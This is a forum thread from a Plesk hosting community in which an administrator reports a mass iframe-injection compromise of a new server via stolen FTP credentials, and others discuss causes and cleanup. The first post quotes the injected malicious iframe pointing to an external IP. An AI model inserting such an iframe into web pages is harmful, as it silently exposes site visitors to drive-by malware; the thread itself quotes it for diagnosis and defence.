• If you are still using CentOS 7.9, it's time to convert to Alma 8 with the free centos2alma tool by Plesk or Plesk Migrator. Please let us know your experiences or concerns in this thread:
    CentOS2Alma discussion

Help! New installation compromised in two days. malware iframe injection

K

kevin@

Basic Pleskian
I can't believe this...

In order to get a fresh start and increase security I recently migrated from an old FreeBSD 6 / Plesk 8.2 server to a brand spanking new Debian 6 Linux / Plesk 11.0.9 installation. I can confirm that the previous server was NOT compromised prior to migration.

Within two days of the new server being online the following code has been injected into EVERY SINGLE .html / .php file on the server. (Well I scanned the vhosts/ directory anyway and almost all domains were infected.

<!-- . --><iframe width="1px" height="1px" src="http://5.45.179.41/transport/replys-terribly-reading_works.php" style="display:block;" ></iframe>

1) Any idea how this could happen? (and so quickly)
2) How can I safely remove all of the malicious code?
3) How can I prevent this from happening again?

This is the first time in the 12 years I've been running a plesk server that I've had an issue like this so I'm at a bit of a loss.

OS Debian 6.0.7
Panel version 11.0.9 Update #51

The system is up-to-date; last checked at May 18, 2013 06:25 AM

Thanks in advance!
 
Looks like they got in through FTP... reading another thread on the forum it looks like I've been hit by something similar. It's an IP from the Ukraine as well!

I removed the usernames below... but they managed to gain access to 6 different usernames via FTP! They had different passwords... im puzzled.

ftpd871 188.190.126.105 Sat May 18 22:24 - 22:33 (00:09)
ftpd462 188.190.126.105 Sat May 18 21:06 - 21:10 (00:04)
ftpd32382 188.190.126.105 Sat May 18 18:46 - 18:52 (00:06)
ftpd31734 188.190.126.105 Sat May 18 17:22 - 17:27 (00:05)
ftpd31684 188.190.126.105 Sat May 18 17:11 - 17:12 (00:01)
ftpd31622 188.190.126.105 Sat May 18 16:58 - 17:11 (00:12)
 
Thank you I have already read the other forum thread. Sounds very similar to what I'm going through.

I'll check out the debian links.
 
How can I remove all of the iframe code from all of the html and php files?
The backup I have is also infected so I can't restore...
There are literally hundreds and hundreds of them so editing them manually isn't feasible.
 
kevin@ said:
I can confirm that the previous server was NOT compromised prior to migration.
Click to expand...

While I'm not saying that this could not possibly happen due to some so-far unknown vulnerability, there are more likely possibilities that are worth pointing out:

Many Plesk installations were vulnerable to remote attackers for a period last year or the year before. Is it is possible that FTP passwords for your system were obtained then, but not used until now? The fact that we are seeing quite a few of these compromises all at once, all via FTP, seems to lend some strength to this possibility (I'm assuming your user's FTP passwords were migrated and not subsequently changed). Of course if you weren't running Plesk at the time of that vulnerability then my theory is totally wrong.

I'd be interested to know what sort of usernames were used. Were any of them "non-obvious"? For example, some Plesk admins tend to use the domain name as the FTP username, which is "obvious". But if any of them were non--obvious, then it is really very likely that the bad guys had obtained username/password combinations through that previous vulnerability.

I assume you used a different Plesk admin password to your previous installation?

As to what to do about mass infections, this is a good place to start: http://kb.parallels.com/en/113321
There are links on that page to a mass password-change script, and to a script that will find and remove the most common method used to inject the iframes. Of course that method may well have changed by now.

There are some parallels (if you'll forgive the inadvertent pun) between this situation and the current high incidences of Yahoo email compromises. Yahoo insists there is no current vulnerability yet accounts are being hijacked regularly. But there WAS a known vulnerability some time in the past (I believe), and the bad guys were able to obtain username/password combos at that time. If users had not subsequently changed the password, this list would still be valid for these accounts, and if the list is now being used again, it might explain why yahoo accounts are being easily hijacked.

In one or both of these cases, the delay between obtaining and use of the stolen data could be explained by the data being sold to another group, or possibly one or more of the original group were unable or unwilling to use all the data they had for one reason or another.

This is, of course, total and pure speculation. Call it wishful thinking, if you like. I would obviously much rather a simple explanation than a new, unknown vulnerability to be the cause of all this terrible hassle.

There is also one other reason I believe this is (hopefully) a "delayed" use of already obtained data. Someone quite recently logged in to my personal email and sent a lot of spam. The username and the password were not guessable, but I had used the very same pair on one or more third-party forums/services that had, in the past, been compromised. It was a long time ago. But suddenly, out of the blue, here they were. Of course I should not have re-used the same details, but I was lazy - and that's not good for security.

In addition to all this, the use of botnets by the bad guys to brute-force and mass compromise systems has increased significantly recently. My guess is that spam is less effective these days, while banking Trojans and the like can be very profitable. It is therefore possible that focus has been shifted quite significantly towards website compromises in order to try to get more systems infected.

Before I sign off, regarding that kernel vulnerability -- it is very unlikely for that to cause the compromise. It would be necessary for the bad guys to already have access to the system before that could be used. So they would already need valid credentials to make use of it to compromise a server as a whole.

Again I emphasise all this is guesswork and probably wishful thinking, but it helps me sleep better at night :) This is certainly one of those occasions when I most definitely do not want to be proved wrong!!! Those of you who are affected, whatever the cause, have my deepest sympathies, especially since I know I could be the victim myself one day. I hope that we get to the bottom of this quickly.
 
Faris,

Thank you for the very detailed and thoughtful reply.

Upon further investigation it appears that the previous FreeBSD 6.2 / Plesk 8.2 server WAS already compromised. We just didn't notice any adverse effects yet. So yes, someone gained access through the vulnerability from last year and likely sat on it for a while. I then migrated all of the sites over to the new Debian Linux 6.07 / Plesk 11.0.9 sever and did NOT change the passwords since I didn't, at that time, realize that there were any issues. To answer your question, about 50% of the compromised usernames were non-obvious; the others using the portion of the domainname before the TLD as the username. All of the passwords were different, though but I suspect that doesn't matter.

Yes I did change the root password and the plesk admin password on the new dev/production servers.

I read the KB article you listed. Given that the new panel is 11.0.9 I don't think much of this (now) applies to me. I did use the mass password change script and did remove all sessions after changing the passwords. I also ran the malware removal tool from Plesk but it didn't do anything.

I don't see how the yahoo issue would affect me at all as I, nor any of my customers use yahoo email (I actually verified that)

I agree that the kernel is an unlikely suspect. It is seeming more clearly that it was the old server that was compromised and then we migrated everything over with the same passwords.

The hacker has attempted to log in today several times without sucess due to the password changes.

Given that we are on the latest Debian Linux and latest Plesk Panel with microupdates with changed passwords would it be fair to assume the server is safe again?

We are currently undertaking the painful and time consuming process of manually removing the malicious code from 1000+ files. It's going to take forever. I haven't found any way to safely automate this process :(

Cheers
 
kevin@ said:
Faris,

Given that we are on the latest Debian Linux and latest Plesk Panel with microupdates with changed passwords would it be fair to assume the server is safe again?

Cheers
Click to expand...

Yes, mostly.

But if a single user changes their FTP or Panel password back to the old one, the bad guys could possibly get into that account. And depending on what is enabled and disabled in terms of, say, php functions, they could *theoretically* compromise the server. I'd say this is very unlikely anything like this would happen though.

A more likely vector is a vulnerability in an installed script - e.g. Wordpress/joomla/phpBB etc. You can help protect against most of these types of vulnerabilities using mod_security for Apache. It is a bit of a nightmare to get it right, unfortunately.

If you were using Centos I'd recommend ASL, which includes pre-configured mod_security rules and a lot of other things. It also includes a hardened kernel, which helps prevent problems even when the attackers get past all the other lines of defence. Maybe there's something similar for Debian?

Regarding Yahoo email, I was just using it as a comparison. They seem to have had the same problem -- a compromise in the dim and distant past leading to users mailboxes getting suddenly getting compromised in large numbers now.

(I note there's been an update on the other thread related to compromises which is a bit worrying ... however, things are not always what they seem at first glance so I'm not going to jump to any conclusions yet )
 
You must log in or register to reply here.

Similar threads

M
Problem with cron daily/logrotate/mysql [high server load]
Replies
1
Views
3K
MislavO
M
Back
Top